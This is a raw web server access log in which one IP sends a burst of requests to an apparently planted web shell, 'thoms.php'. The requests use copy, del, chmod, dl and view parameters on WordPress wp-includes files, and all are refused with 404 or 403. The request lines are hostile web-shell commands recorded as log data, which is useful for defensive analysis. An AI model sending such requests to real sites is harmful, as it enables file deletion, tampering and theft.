45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwp-db.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwp-db.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FPHPMailer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FPHPMailer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?del=class-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?chmod=class-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-walker.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fmedia.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fmedia.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?dl=script-loader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?del=PHPMailer&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?chmod=abilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-recovery-mode-cookie-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcompat-utf8.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhttp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fhttp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?del=script-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=script-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /biotaiwan.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fshortcodes.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fshortcodes.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?del=bookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:34 -0400] "GET /thoms.php?del=class-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftemplate.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ftemplate.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?dl=plugin.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-post-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?del=class-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /biotaiwan.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-paused-extensions-storage.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:35 -0400] "GET /thoms.php?chmod=ms-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?chmod=post-formats.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?chmod=class-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-matchesmapregex.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /biotaiwan.com.tw/wp-includes/post.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?del=class-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?del=https-migration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=https-migration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?chmod=class-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:36 -0400] "GET /thoms.php?del=js&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=js&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?chmod=class-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wpdb.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?chmod=option.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /biotaiwan.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?chmod=kses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?del=media-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?del=class-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?del=class-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-pop3.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:38 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
